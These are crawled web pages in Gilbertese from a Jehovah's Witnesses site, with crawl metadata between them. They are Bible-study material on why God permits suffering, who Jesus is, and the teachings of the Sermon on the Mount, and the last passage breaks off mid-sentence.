aonnaba, ake a karawawataia aomata. Ma e ngae n anne ti boni kan ataia naba bwa e aera ngkai e tuai ni katoka te rawawata aei Iehova? Ngkana boni ngaia ae Moan te Mwaaka, nanona ngkanne bwa iai mwaakana ni katokia. E aera ngkai e tautaua mwaakana? Kioina ngkai ti ataa Atuara bwa e tatangira, ti kantaningaia ngkanne bwa iai bukina ae riai ae e tautaua iai mwaakana.\nTABEKAN TE TITIRAKI AE KAKAWAKI\n10. E kananououaa tera Tatan, ao n te aro raa?\n10 Ni kakaaean bukin ae e tuai ni katoka te rawawata te Atua, ti riai ni kaoka ara iango nakon te tai are e moan riki iai te rawawata. Iai te titiraki ae kakawaki ae wai ngke e kairaraangia ngkoa Atam ma Nei Ewa Tatan bwa a na aki ongeaba iroun Iehova. E aki kananououaa ikai mwaakan Iehova Tatan, bwa e ataia raoi bwa akea tiani mwaakan Iehova. Ma e kananououaa riain Iehova n tautaeka. Ngke e arana te Atua Tatan bwa te tia kewe are e taui kabwaiaia ana karikibwai, ao e bukina Iehova iai Tatan bwa te tia tautaeka ae buakaka. (Wareka Karikani Bwaai 3:2-5.) E nanonna naba Tatan bwa a na kabwaia riki aomata ngkana e aki kairiri te Atua. Aio bon te karitei nakon riain Iehova n tautaeka.\n11. E aera ngkai e aki kamaunaia taani karitei Iehova i Eten?\n11 A karitei Atam ao Nei Ewa nakon Iehova. Titeboo ngke a kangai: \"Ti aki kainnanoa Iehova bwa e na tautaekanira. Ti kona ni bairea ae eti ao ae kairua i bon iroura.\" E na kangaa Iehova ni kona ni katerea raoi bwa antai ae eti ao antai ae kairua iai? E na kangaa n reireinia anera ao aomata aika wanawana ni kabane bwa a boni kairua taani karitei, ao ana kawai Ngaia bon te kabanea n tamaroa? Tao e na taku temanna bwa te anga iai, boni kamaunaaia taani karitei ao manga moanan te waaki ae boou. Ma e a tia n taekina ana kantaninga Iehova bwa e na on te aonnaba ni kanoaia Atam ma Nei Ewa, ao a na maekana te aonnaba ae bwaretaiti. (Karikani Bwaai 1:28) E kakakoroi bukin ana kantaninga Iehova n taai nako. (Itaia 55:10, 11) Ma kamaunaaia taani karitei i Eten, e na aki kaeta te nanououa are tabekaki ni kaineti ma riain Iehova n tautaeka.\n12, 13. Kabwarabwaraa bwa e aera Iehova ngkai e kariaia Tatan bwa e na riki bwa te tia tautaekana te aonnaba, ao e aera ngkai e kariaia aomata bwa a na tautaekania i bon irouia.\n12 Ti na maroroakina te kabotau teuana. Iangoia bwa aongkoa te tia reirei e tuangia ataein te reirei aroni mwakurian te bwai teuana ae matoatoa karaoana. E taku temanna te tei ae wanawana ma ni karitei, bwa e bure ana kawai te tia reirei ibukini mwakurian te bwai arei. E imanono te tia karitei aei n taku bwa e ataa aroni mwakuriana ae te kabanea n tamaroa ao e kaotia iai bwa e iangoa te tia reirei bwa e babanga. Iai tabeman ataei ake a kakoauaa bwa e eti, ao a a manga riki naba bwa taani karitei. Tera ae riai ni karaoia te tia reirei? Ngkana e kaotinakoia taani karitei man te umwanreirei, tera aron rotakia iai ataein te reirei ake tabemwaang? Tiaki a na manga kakoauaia naba taani karitei akekei? A kona ngkanne n aki karinerine ataein te reirei aikai nakon aia tia reirei, bwa a iangoia bwa te tia reirei ngaia ae riribaa tiribureana. Ma iangoia bwa aongkoa e kariaia te tia reirei, bwa e na kaota koauan ana bukibuki te tei are karitei arei nakoia raona n reirei i aon te baere matoatoa karaoana arei.\n13 E karaoa naba Iehova aekakin are e karaoia te tia reirei arei. Uringnga are tiaki tii taani karitei i Eten ake a irekereke iai. Iai naba anera aika mirion ma mirion mwaitiia ake a mataku n te tai arei. (Iobi 38:7; Taniera 7:10) Nanona bwa te bwai are e na karaoia Iehova ni kaineti ma te karitei arei, e na rotiia anera aikai ni kabane ao imwina riki aomata nako. Mangaia are tera are e karaoia Iehova? E kariaia bwa e na kaota arona Tatan, n tautaekana te botannaomata. E kariaia naba te Atua bwa a na bon tautaekania aomata i bon irouia i aan ana kairiri Tatan.\n14. Tera te kakabwaia ae e na reke man ana babaire Iehova ni kariaia aomata bwa a na tautaekania i bon irouia?\n14 E ataia te tia reirei are n te kabotau bwa e kairua ana itera te tia karitei ao ataein te reirei ake a boutokaia. Ma e ataia naba bwa a na kakabwaiaaki ataein te reirei ni kabane ngkana a kariaiakaki taani karitei n anganaki aia tai ni kataia ni kaota koauan aia iango. Ngkana a aikoa kona ni mwakuria te kangaanga arei taani karitei, a na ataia ngkanne ataein te reirei ake a raoiroi bwa bon tii aia tia reirei ae mwaatai ni kairiri. A nang mataata ngkanne ni kaotinakoaia taani karitei iroun te tia reirei. N aron naba anne, e ataia Iehova bwa a na bane ni kakabwaiaaki anera ma aomata aika raoiroi nanoia, ngkana a noria bwa e a kabwaka Tatan ni kairiri ma raona ni karitei, ao a aikoa kona naba aomata n tautaekania i bon irouia. A na katotonga Ieremia ngkoa are e reiakina te koaua ae kakawaki ae kangai: \"Iehova, I ataia raoi bwa tiaki ana bwai te aomata bairean arona, ao tiaki naba ana bwai te aomata kairani maiuna.\"\nE AERA NGKAI E A RANGI NI MAAN?\n15, 16. (a) E aera ngkai e a rangi ni kamaana te tai n rawawata Iehova? (b) E aera Iehova ngkai e aki totokoi rikini mwakuri ni kakeru aika rangi n riao iowawaaia?\n15 E aera ngkai e a rangi ni kamaana te tai n rawawata Iehova? Bukin tera ngkai e aki totokoi rikini baika bubuaka? Iangoi baika uoua ake e aki kani karaoi te tia reirei are n ara kabotau. Te moanibwai, e aki katoka te tia karitei are ataein te reirei arei, man kaotan ana iango. Te kauoua, e aki buoka te tia karitei ngke e kataia ni kakoauaa bwa e koaua ana waaki. N aron naba anne, iangoi bwaai aika uoua ake e bairei Iehova bwa e na aki karaoi. Te moan, e aki katokiia Tatan ma raona ake a kataia ni kaotia bwa aongkoa e eti aia waaki. Kariaiakan abwabwakin te tai bon te bwai ae kainnanoaki iai. I nanon ririki aika nga ma nga aika nako, ao e a tia te botannaomata ni katai aeka ni kairiri nako ke tautaeka ni kabane. E a tia naba n rikirake te rabakau n aonnaba ao waaki riki tabeua, ma ai aron ae e a rikirake naba korakoran te ribuaka, te baki, te kakeru, ao te buaka. E a otara iai bwa a boni kabwaka ni kairiri aomata.\n16 Te kauoua, e aki buoka Tatan Iehova n tautaekana te aonnaba. Ngkana e totokoi rikini mwakuri ni kakeru te Atua aika rangi n riao iowawaaia, tiaki e boutokaa naba aia waaki taani karitei iai? Tiaki e na kairi nanoia aomata te Atua iai bwa a na iangoia bwa tao a boni kona n tautaekania i bon irouia, n akea te kamangaongao ae e na riki imwina? Ngkana e na karaoa anne Iehova e a reitaki ngkanne iai ma te kewe. Ma, \"e aki kona ni kewe . . . te Atua.\"\n17, 18. Tera ae e na karaoia Iehova ni kaineti ma te urubwai are uaan aia waaki aomata n tautaekania i bon irouia, ao ana waaki ni kariri Tatan?\n17 Ma tera aron te urubwai ae e a tia n riki i nanon te tai ni karitei ae maan aei nakon te Atua? E riai ngkana ti ururinga are moan te mwaaka Iehova. Mangaia are e kona ni kaitiaka mwin nako karawawataan te botannaomata, ao e na boni karaoia. N aron ae ti a tia n reiakinna, e na kaitiaka mwin te urubwai ae korakora ae karaoaki nakon ara aonnaba aei, n te aro ae e na oneia nakon te Bwaretaiti. E na maunanako uaan te bure rinanon onimakinan ana karea ni kaboomwi Iesu, ao e na oneaki mwin te mate n te mangauti. Mangaia are e na kabongana Iesu te Atua bwa e na \"urui ana mwakuri te Riaboro.\" (1 Ioane 3:8) E na kakoroi bukini baikai ni kabane Iehova n taina ae riai. Ti riai ni kukurei ngkai e aki waekoa ni karaoa ana mwakuri, bwa e a kona n reke iai ara tai n reiakina te koaua ao n toro irouna i nanon ana tai n taotaonakinnano aei. (Wareka 2 Betero 3:9, 10.) Ma n te tai moa aei, e a tia te Atua ni kakaaeia taan taromauria ma nanoia ni koaua, ao e buokiia n nanomwaaka i buakon taiani karawawata ake a taonaki iai n te aonnaba ae karuanikai aei.\n18 A kona n iango tabeman n aron aei: 'Tiaki a na boni kona ni bane n totokoaki rawawata aikai, ngke arona bwa e karikiia Atam ma Nei Ewa te Atua n te aro are a na aki kona ni karitei?' Ni kaekaan te titiraki anne, ko riai n ururinga te bwaintangira ae kakawaki are e a tia n anganiko Iehova.\nKO NA KANGAA NI KABONGANA TE BWAINTANGIRA MAIROUN TE ATUA?\n19. Tera te bwaintangira ae kakawaki are e a tia n anganira Iehova, ao bukin tera ngkai e riai ni kakawaki iroura?\n19 N aron are e taekinaki ni Mwakoro 5, a karikaki aomata ma te inaomata n rinea are a na karaoia. Ko ataa kakawakin te bwaintangira anne? E a tia ni karikiia maan aika mwaitikurikuri te Atua ao a maiuakina aroaroia are e a kamani baireaki irouna. (Taeka N Rabakau 30:24) A a tia naba aomata ni karaoi taian robot, aika mitiin aika akea aia iango ma a mwakuri n aron are e a kamani baireaki ibukia. Ti na kukurei ngke arona bwa e karaoira te Atua n aron te robot? Ti na bon aki, bwa ti kukurei riki ngkana iai inaomatara ni kona ni karaoira iai bwa aeka n aomata raa ngaira, aekara anuara, ao aekakira aron ara iraorao, ao a a bati riki. Ti taatangira te inaomata, ao anne te bwai ae kani kakukureira iai te Atua.\n20, 21. Ti na kangaa ni kabongana te bwaintangira ae inaomatara n rinea ae ti na karaoia, n te aro ae te kabanea n tamaroa, ao bukin tera ngkai ti na kani karaoa anne?\n20 E aki anaaki nanon Iehova ni mwakuri aika karaoaki ibukina bwa iai ae e tua karaoaia. (2 I-Korinto 9:7) E kangai kabwarabwaraana: Tera ae e na kakukureia riki te karo, ana taeka te tei ae kangai, \"I tangiriko,\" ibukina bwa e wiwinaki iroun temanna bwa e na taetae n aron anne, ke are e taekinna ni bon oin nanona? Mangaia are e kakawaki iangoan te titiraki aei: Ko na kangaa ni kabongana te inaomata are e a tia n anganiko Iehova ni kaineti ma rinean ae ko na karaoia? A kabonganabuaka inaomataia Tatan, Atam, ao Nei Ewa. A rawa nakon Iehova ae te Atua. Ma tera ngkoe ae ko na karaoia?\n21 Ko anganaki am tai ni kona ni kabongana raoi te bwaintangira ae kakawaki are inaomatam n rinea te kabanea n tamaroa. Ko kona n iriia aomata aika mirion ma mirion mwaitiia ngkai, ake a a tia n rineia bwa a na tei n ana itera Iehova. A kakukureia te Atua te koraki aei ibukina bwa a kakaonimaki ni katerea koauan are bon te tia kewe Tatan, ao te tia kairiri ae buakaka ae aki kona ni kanakoraoa ana waaki. (Taeka N Rabakau 27:11) Ko kona naba ni karaoa anne ngkana ko rineia bwa ko na bwaina te aroaro ni maiu ae raoiroi riki. E na kabwarabwaraaki aei n te mwakoro ae imwina.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/e-aera-ngkai-e-aki-katoka-te-rawawata-te-atua\/","date":"2018-01-22T20:52:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891539.71\/warc\/CC-MAIN-20180122193259-20180122213259-00783.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3019,"character_repetition_ratio":0.062,"word_repetition_ratio":0.01,"special_characters_ratio":0.228,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kanakomaia Iesu Iehova, nako aon te aba. 1 Ioane 4:9\nNgkana ti kani kakukureia Iehova, ti riai n ongeaba iroun Natina. E a kamani karika Natina ae mwaaka aei i karawa Iehova, imwaini karikan Atam.\nImwin tabeua te tai, e a kanakoa Natina aei Iehova bwa e na bungiaki i Betereem iroun te teinnaine ae Maria. Ngke e a bungiaki ao e a aranaki bwa Iesu.\nE boni kaotiotii raoi aroaron te Atua Iesu ngke e mena i aon te aba. E bwaina te akoi, e tatangira, ao e momoaaomata. E aki mamaaku n reireinia aomata te koaua ibukin Iehova.\nE kakaraoa ae raoiroi Iesu ma e riribaaki. 1 Betero 2:21-24\nE kamaiuia aoraki Iesu ao e kautiia naba maate tabeman.\nA riribaa Iesu mataniwi n te Aro ibukina bwa e kaotii aia reirei aika kewe, ao aia mwakuri aika buakaka.\nA kairoroaki taan tautaeka i Rom irouia mataniwi n te Aro, bwa a na orea Iesu ao n tiringnga.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ongeaba-ao-maiu\/antai-iesu-kristo\/","date":"2018-01-20T06:15:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889325.32\/warc\/CC-MAIN-20180120043530-20180120063530-00476.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":157,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E bae n rotaki n te kua Iesu imwin ana kangaina n tataro ao imwin rineaia taan rimwina aika 12 bwa ana abotoro. E a ngaina ngkai, ma e bon teimatoa ni korakora naba nanona ni kani buokiia aomata. E karaoa ngkai ana mwakuri i aon te maunga are i Kariraia tao n aki raroa ma Kaberenaum ae te kaawa are e kakaraoa iai ana mwakuri.\nA a roko nakoina aomata aika uanao man taabo aika raroanako. A roko tabeman mai maiaki, mai Ierutarem ao taabo tabeua i Iutaia, ao tabemwaang mani kaawan Turo ao Titon ake a uakaan ma taari i meangimaeao. E aera ngkai a kakaaea Iesu? \"A na ongora irouna ma ni kamarurungaki man aorakia.\" Ao anne te bwai ae riki bwa a \"bane ni kamarurungaki\" irouna. Iangoa aei! A bane ni kamarurungaki aoraki. A \"kamarurungaki naba te koraki ake a karawawataaki irouia taimonio\" ni buokaia iroun Iesu, ake te koraki ake a karawawataaki irouia ana anera aika buakaka Tatan.—Ruka 6:17-19.\nE a kunea ngkai te tabo teuana ae aoraoi Iesu i aon te maunga ao e a otabwaniniaki irouia te koraki. A bae n rangi n uakaan ma ngaia taan rimwina ao riki ana abotoro ake 12. A bane n ingainga ni kan ongora iroun te tia reirei aei ae kona ni karaoi mwakuri ni kakai akanne. E anga ana kabwarabwara ae a na boni kakabwaiaaki iai ake a ongora. Ni moa man te tai anne ao a a kakabwaiaaki naba iai te koraki ake a aikoa kona ni warekaki. Ti kona naba ni kakabwaiaaki ibukina bwa e kabwarabwaraaki iai koaua aika nano n te aro ae bebete ao ni mataata. E boto ana kabwarabwara Iesu i aoni baike a riiriki ao baike a taneiai aomata iai. A buokaki iai naake a ukoukora te maiu ae raoiroi riki ni kawain te Atua, bwa a na ota ni baike e iangoi. Baikara booto n reirei n ana kabwarabwara Iesu aika rangi ni manena ibukira?\nANTAI AIKA KUKUREI NI KOAUA?\nA bane ni kani kukurei aomata. N ataakin aei irouna, e a kabwarabwaraa taekaia te koraki ake a kukurei ni koaua. Iangoa aron atikan nanoia taan ongora iai. Ma iai bwaai tabeua ake a aki ota iai.\nE taku: \"A a kukurei akana ataia bwa a kainnanoa te Atua, bwa aia bwai te Tautaeka n Uea ae bwaini karawa. A a kukurei akana nanokawaki bwa a na kabebeteaki. . . . A a kukurei akana bwarua kakaraoan ae raoiroi bwa a na rauaki n te raoiroi. . . . A a kukurei akana bwainikirinaki ibukin te raoiroi, bwa aia bwai te Tautaeka n Uea ae bwaini karawa. Kam a kukurei ngkana a kabwainrangingkami aomata, ma ni bwainikiriningkami . . . ibukiu. Kam na kakatonga ao kam na rangi ni kimwareirei.\"—Mataio 5:3-12.\nTera ae e nanonna Iesu ngke e taekina \"kukurei\"? E aki nanona ikai te kukurei ke te kimwareirei n reken te tai ae e kakukurei iroun temanna. E bati riki ae nanonaki n te kukurei ni koaua. E irekereke iai te raunnano ni koaua, namakinan te rauaki ao te kukurei ni maium.\nE taekinna Iesu bwa te koraki aika kukurei ni koaua bon naake a ataa kainnanoan te Atua ake a nanokawaki imwin aroaroia aika bure, ao a a reiakina taekan te Atua ao ni beku ibukina. E ngae ngkana a ribaaki ke ni bwainikirinaki ibukini karaoan nanon te Atua, ma a kukurei n ataakin ae a kakukureia ao e na angania kaniwangaia ae te maiu are aki toki.\nMa a bati aika iangoa te kaubwai ao karekean te kakukurei n te maiu aei bwa e na kukurei iai te aomata. Ma e aki taekina anne Iesu. E kaota te bwai ae kaokoro are e kammwakura aia iango taan ongora aika bati ngke e kangai: \"A na reke kaimi ngkami aika kam kaubwai, bwa baika reke iroumi ngkai bon tii ngaai baika a na reke iroumi. A na reke kaimi ngkami aika kam rauaki ngkai, bwa ane kam na baki. A na reke kaimi ngkami aika kam ngarengare ngkai, bwa ane kam na nanokawaki ma n tanginiwenei. A na reke kaimi ngkana kam kamoamoaaki irouia aomata ni kabane, bwa a karaoa naba anne aia bakatibu aomata akanne nakoia burabeti ni kewe.\"—Ruka 6:24-26.\nE aera ngkai e karekekai te kaubwai, te ngarengare ni kimwareirei, ao te kamoamoaaki irouia tabeman? Ibukina bwa ngkana iai ae reke irouna baikai ao e nimti, e kona ni kaaka iai taekan te beku ibukin te Atua ae bon te kakukurei ni koaua. E aki taekinna Iesu bwa e na kukurei temanna ngkana e maiu ni kainnano ke ngkana e baki. Ma n angiin te tai, e bubutimwaea ana reirei Iesu te aomata ae akea arona ao e karekea kakabwaiaana ae te kukurei ni koaua.\nE iangoiia taan rimwina Iesu ngke e kangai: \"Taoron te aonnaba ngkami.\" (Mataio 5:13) Bon tiaki ngaiia te taoro ni koaua bwa te taoro e kateimatoa raoiroin te bwai. E kawakinaki te taoro ae bati i rarikin te baonikarea n ana tembora te Atua ao e kamanenaaki ibukin taoronakin te karea. E tei naba ibukin akean te mka ke te buakaka. (Nakoaia Ibonga 2:13; Etekiera 43:23, 24) A riki bwa \"taoron te aonnaba\" taan rimwin Iesu ngkai a rotaki raoi nanoia aomata irouia. A buokiia aomata bwa a na kateimatoa aia iraorao ma te Atua ao n rarawa nakon aroaro aika bubuaka. Eng, e kakamaiu aia rongorongo nakoia aomata aika butimwaeia.\nE tuangia naba taan rimwina ni kangai: \"Te oota ibukia kaain te aonnaba ngkami.\" E aki riai ni katukaki te taura i aan te bwaene ma e na katokaaki i aon te kaintaura bwa e na ootanako. Ngaia are e kaumakiia ni kangai: \"Kam na kaotiota naba ami oota i mataia aomata, bwa a na nori ami mwakuri aika raraoi ao a na neboa iai Tamami are i karawa.\"—Mataio 5:14-16.\nTE AROARO AE KAKAWAKI IBUKIA TAAN RIMWINA\nA iangoa Iesu mataniwin te Aro n Iutaia bwa te tia urua ana Tua te Atua ao a boraraoi bwa a na kamatea. Ngaia are e a taetae nakoia ni kangai: \"Tai taku i nanomi bwa I roko bwa N na kamauna te Tua ke aia reirei Burabeti. I aki roko ni kamaunai ma I roko bwa N na kakoroi bukia.\"—Mataio 5:17.\nEng, moan te korakora karinean ana Tua te Atua iroun Iesu ao e kaumakiia tabemwaang bwa a na karaoa naba anne. E taku: \"Mangaia ae ane e riaon te tua teuana ae mangori riki mai buakon tuua aikai ao e reireinia aomata bwa a na urua, e na atongaki bwa e aki tau n rin n te Tautaeka n Uea ae bwaini karawa.\" E nanonna bwa e na bon aki kona te aomata anne n rin n te Tautaeka n Uea. E reitia ni kangai: \"Ma ane e irii nanon tuua aikai ao n reireinia aomata iai, e na atongaki bwa e tau n rin n te Tautaeka n Uea ae bwaini karawa.\"—Mataio 5:19.\nE kabuakakai naba Iesu aroaro ake e karaoi te aomata ake e kona n urua iai ana Tua te Atua. Imwin taekinan te Tua ae kangai: \"Ko na tai tiriaomata,\" e manga reitia ni kangai: \"Ane e teimatoa n un iroun tarina, e kona n uotaki taekana nakon te boowi ni motikitaeka.\" (Mataio 5:21, 22) Te un ae reitinako ma temanna e boni kakaiaki, riki ngkana tao e a kairiri nakon te tiritiri. Ngaia are e kabwarabwaraa Iesu aron temanna ae riai n nako ni karekea te raoi ngke e kangai: \"Ngkana ko uota am karea nakon te baonikarea, ao ko uringa ae iai tangin nanon tarim iroum, ao katuka am karea i matan te baonikarea ao naako moa raoiakina tarim, ao imwina ko na oki n anga am karea.\"—Mataio 5:23, 24.\nTe tua are teuana e kabuakakaa te wene ni kimoa. E taku Iesu: \"Kam ongo bwa e taekinaki ae kangai: 'Ko na tai wene ni kimoa.' Ma I taku nakoimi bwa ane e teimatoa n tarataraa te aine n iango i nanona bwa e kani wene n taanga ma ngaia, ao e a tia ni wene ni kimoa ma ngaia i nanona.\" (Mataio 5:27, 28) E aki nanona Iesu te iango ae kammaira ae rina n rio ao ni kai bua, ma e katuruturua kakaiakin aron te aomata ae e 'teimatoa n tarataraa temanna.' Kamwatauan te taratara n te aro aei e aki toki ni kauekea te kaibwabwaru iroun temanna ao imwina ngkana e a reke angana ao e a karaoa te wene ni kimoa. E na kangaa te aomata n totokoa rikin aei? E kona ni kainnanoaki iai te kakorakora ae bati. E taku Iesu: \"Ngkana e kabwakako matam are te atai, ao autia ni karenakoa. . . . Ao ngkana e kabwakako baim are ataim, koreia ao karenakoa.\"—Mataio 5:29, 30.\nA kona tabeman aomata ni kariaia korean rangaia ke baia ae kakaiaki ibukin te aoraki bwa a aonga ni maiu. E mataata bwa e taekinna ikai Iesu bwa e raoiroi riki 'karenakoani' bwaai nako ao bwaai naba aika rangi ni kakawaki n aron te mata ke te bai, ibukin totokoani kabarekaan te iango ao mwina aika kona n riki. E kabwarabwaraa Iesu ni kangai: \"E raoiroi riki ibukim bwa e na bua bwain rabwatam teuana nakon ae e na tewenakoaki i Keenna rabwatam ni kabane.\" (te tabo ni kabueki maange i tinanikun oon Ierutarem), ae irekereke ma te kamaunaaki n aki toki.\nE anga naba te reirei ni kairiri Iesu i aon te reitaki ma aomata aika kammaraka nanoia aomata ke ni kaunia ni kangai: \"Tai kaitaraa te aomata ae buakaka, ma ngkana iai ae e orea tabam are te atai, ao ko na anganna naba tabam are teuana.\" (Mataio 5:39) E aki nanonna ikai Iesu bwa e bure ngkana e kataia te aomata ni kamanoa ke kaain ana utu ngkana a iowawa aomata nakoia. E taekina Iesu orean te taba bwa e aki karaoaki bwa e na kammarakaki iai temanna ke ni kamateaki iai temanna, ma e karaoaki ibukini kammarakan nanon te aomata. E taekinna bwa ngkana iai ae e kani kauekea te un ke te kauntaeka n arona n orea tabam ke n taetae n aki akaka nakoim, tai karekea kaina.\nE kaineti raoi te taeka n reirei anne ma ana tua te Atua ae tangiran raom n aomata. Ngaia are e reireinia taan ongora Iesu ni kangai: \"Teimatoa n tangiriia aomata aika kairiribai nakoimi, ao tataro ibukia ake a bwainikiriningkami.\" E anga bukina ae rangi ni kakawaki ngke e kangai: \"Bwa kam aonga n riki bwa natin Tamami are i karawa, are e kaotaa taai i aoia aomata aika buakaka ma aika raoiroi.\"—Mataio 5:44, 45.\nE kakimototoa ana kabwarabwara n taekina ae kangai: \"A riai ni kororaoi aroaromi n aron Tamami are i karawa ae kororaoi.\" (Mataio 5:48) E teretere bwa e aki nanonia aomata bwa a kona ni kororaoi. Ma ngkana ti kakairi iroun te Atua, ti kona ni karababaa ara tangira, nakoia naba taani kairiribai nakoira. E manga taku riki: \"Teimatoa ni bwabwaina te nanoanga n aron Tamami ae bwabwaina te nanoanga.\"—Ruka 6:36.\nTE TATARO AO ONIMAKINAN TE ATUA\nNgke e reitaanako ana kabwarabwara Iesu ao e kaumakiia taan ongora ni kangai: \"Tarataraingkami bwa kam na aki kakaraoi ami mwakuri aika raraoi i mataia aomata ni kan noraki irouia.\" E kabuakakaia Iesu aomata aika mwamwanaa te aba ni baka n tangira te Atua, ngaia are e reitia ni kangai: \"Ngkana ko anga bwaai n tituaraoi, ao tai katanga am buu n aroia taani mwamwanaa te aba.\" (Mataio 6:1, 2) E raoiroi riki ngkana ko anga bwaai n tituaraoi n te aro ae aki noraki.\nE reitia Iesu ni kangai: \"Ngkana kam tataro, ao tai katotongia taani mwamwanaa te aba, bwa a kan tei n tataro n taian tinakoka ao n tutani kawai bwa a aonga n noraki irouia aomata.\" Ma n oneani mwin anne, e taku: \"Ma ngkana ko tataro, naako n am ruu ae onoti ao imwini kainakin am mataroa, tataro nakon Tamam ae raba.\" (Mataio 6:5, 6) E aki kabuakakai aeka n tataro nako i mataia aomata Iesu bwa e kakaraoa naba anne. E kabuakakai tataro aika karaoaki ibukin anaakin nanoia taan ongora bwa a na kamoamoaa ane e tataro.\nE reireinia te koraki ni kangai: \"Ngkana ko tataro, tai mwanewei taeka aika titeboo ni kaokiokii n aroia aomata aika tiaki I-Iutaia.\" (Mataio 6:7) E aki nanonna Iesu bwa e kairua kaokiokan te tataro ibukin te bwai teuana. Ma e kabuakakaa kamanenaan taeka aika kamatenanoaki ke taeka aika 'titeboo ni kaokiokaki' n te tataro. E katauraoa te tataro ni katoto imwina ae a irekereke iai bubutii aika itiua. Moani kibuna aika tenua a katereterea riain te Atua n tautaeka, ao ana kantaninga. Ti na bubutii bwa e na katabuaki arana, e na roko ana Tautaeka n Uea, ao e na kakororaoaki nanona. Imwin akanne ao ti riai ni bubutii ibukini kanara ni katoabong ao kabwaraan ara bure, ao ni bubutii naba bwa ti na aki bwaka n te kaririaki ao ti na kamaiuaki mairoun teuare buakaka.\nTera aroni kakawakin ara bwai ibukira? E kaumakiia te koraki Iesu ni kangai: \"Katoka kaikoan ami bwai aika kakawaki i aon te aba, ike e kang bwaai iai te koa ma te raraa, ao a urubwai ma ni kimoa iai taan iraa.\" Ai bon etira anne! A na boni maunanako ara bwaikoraki ao bon akea kakawakin ara iraorao ma te Atua ni karekeani baikai iroura. Ma e ngae n anne, e taekina ae kangai imwina: \"Ma kaikoi baika kakawaki ibukimi i karawa.\" Ti kona ni karaoa aei ngkana ti moanibwaia ara beku ibukin te Atua ni maiura. Akea ae e kona n urua ara iraorao ma te Atua ke n anaa te kaniwanga ae reke mai iai ae te maiu are aki toki. Ngaia are a boni koaua ana taeka Iesu aikai: \"Ike e mena iai am bwai ae kakawaki, ao e mena naba iai nanom.\"—Mataio 6:19-21.\nE anga te kaikonaki Iesu ni katuruturua kakawakin te reirei aei ni kangai: \"Tauran te rabwata te mata. Ngkana e kaatuua taraan te bwai ae tii teuana matam, ao e na oota rabwatam ni kabane. Ma ngkana e babakantang matam, ao e na roo rabwatam ni kabane.\" (Mataio 6:22, 23) E riki matara bwa kaanga tauran rabwatara ngkana e mwakuri raoi. Ma ngkana e na riki anne, e riai matara ni kaatuua taraan te bwai ae tii teuana, bwa ngkana e aki ao e kona ni kairua ara kantaninga ibukin te maiu aei. Kaatuuan taraakini bwaikorakin te maiu aei n oneani mwin te beku iroun te Atua, e nanonaki iai bwa e a 'roo rabwatara ni kabane' ae kaanga ti a mena n te tabo ae nuu ke ae roo.\nE anga te katoto ae kakawaki Iesu ngke e kangai: \"Akea ae e kona n toro irouia tooka aika uoman, bwa ane e na ribaa temanna ao e na tangira are temanna, ke e na nimta temanna ao e na kakeaa bongan are temanna. Kam aki kona ni kaai n toro iroun te Atua ao te Kaubwai.\"—Mataio 6:24.\nA bae n tabeaianga tabeman ake a ongora iroun Iesu ibukin aroia n iangoi baike a kainnanoi ni maiuia. Ngaia are e a karaui nanoia bwa a aki riai n raraoma ngkana a moanibwaia te beku ibukin te Atua ngke e kangai: \"Taraiia raoi mannikiba i annang, bwa a aki ununiki ke n tai, ke n rikoi uaan arokaia nakon auti ni kaikobwai, ma e ngae n anne, e kakaamwarakeia Tamami are i karawa.\"—Mataio 6:26.\nAo tera aroia kiebu aika rikirake n te tawaana ao i aoni maunga? E taku Iesu \"e aki roko tamaroan ana kunnikai [Toromon] n tamaroan tekaina mai buakoia.\" Tera ngkanne ae oti iai? \"Ngkana ngaia bwa aei aron te Atua ni kunnikaia arokan te tawaana, aika iai n te bong aei ma a kona n tewenakoaki n te ai n umum ningabong, tiaki e na kukurei riki ni kunnikaingkami?\" (Mataio 6:29, 30) E kaumakiia ma te wanawana Iesu ni kangai: \"Tai raraoma ma ni kangai, 'Tera kanara?' ke 'Tera nimara?' ke 'Tera karabaara?'. . . E ataia Tamami are i karawa bwa kam kainnanoi baikai ni kabane. Mangaia are teimatoa n ukoukora moa ana Tautaeka n Uea te Atua ma ana raoiroi, ao a na karekeaki baikai nakoimi.\"—Mataio 6:31-33.\nARONI KAREKEAN TE MAIU\nA tangiria ni maiu abotoro ao naake a raoiroi nanoia n te aro ae e na kukurei iai te Atua, ma e kangaanga karaoan aei ibukin baika riiriki. N te katoto, a bati Baritaio aika tiribure ao a kai kabuakakaia aomata tabemwaang ngkana a motika taekaia. Ngaia are e kaumakiia taan ongora Iesu ni kangai: \"Katoka ami kabuakaka bwa kam kaawa ni manga kabuakakaaki, bwa e na motikaki taekami n ai aromi ni motikitaeka.\"—Mataio 7:1, 2.\nE karuanikai te kakairi irouia taani kairiri aika Baritaio aika tiribure n te aro ae riao, n aron ae e kaikonakia Iesu ni kangai: \"E kona ni kaira te mataki te aomata ae mataki? A na kaai ni bwaka i nanon te mwanono, tiaki ngaia?\" A na kangaa ngkanne taan ongora iroun Iesu n iaiangoiia tabemwaang? Tiaki mani mataia ae tiribure bwa e kona ni karekea te bure ae kakaiaki. E titiraki ni kangai: \"E aera ngkai ko kangai nakon tarim, 'Tariu, kariaia moa bwa N na buuta te aneke ane i matam,' ao ngkoe ko aki nora te oka ane i matam? Ko mwamwanaa te aba! Buuta moa te oka ane i matam, ao ko a tibwa kona n nora raoi aroni buutan te aneke ane i matan tarim.\"—Ruka 6:39-42.\nE aki nanonaki ikai bwa a aki riai taan rimwin Iesu ni motikitaeka naba 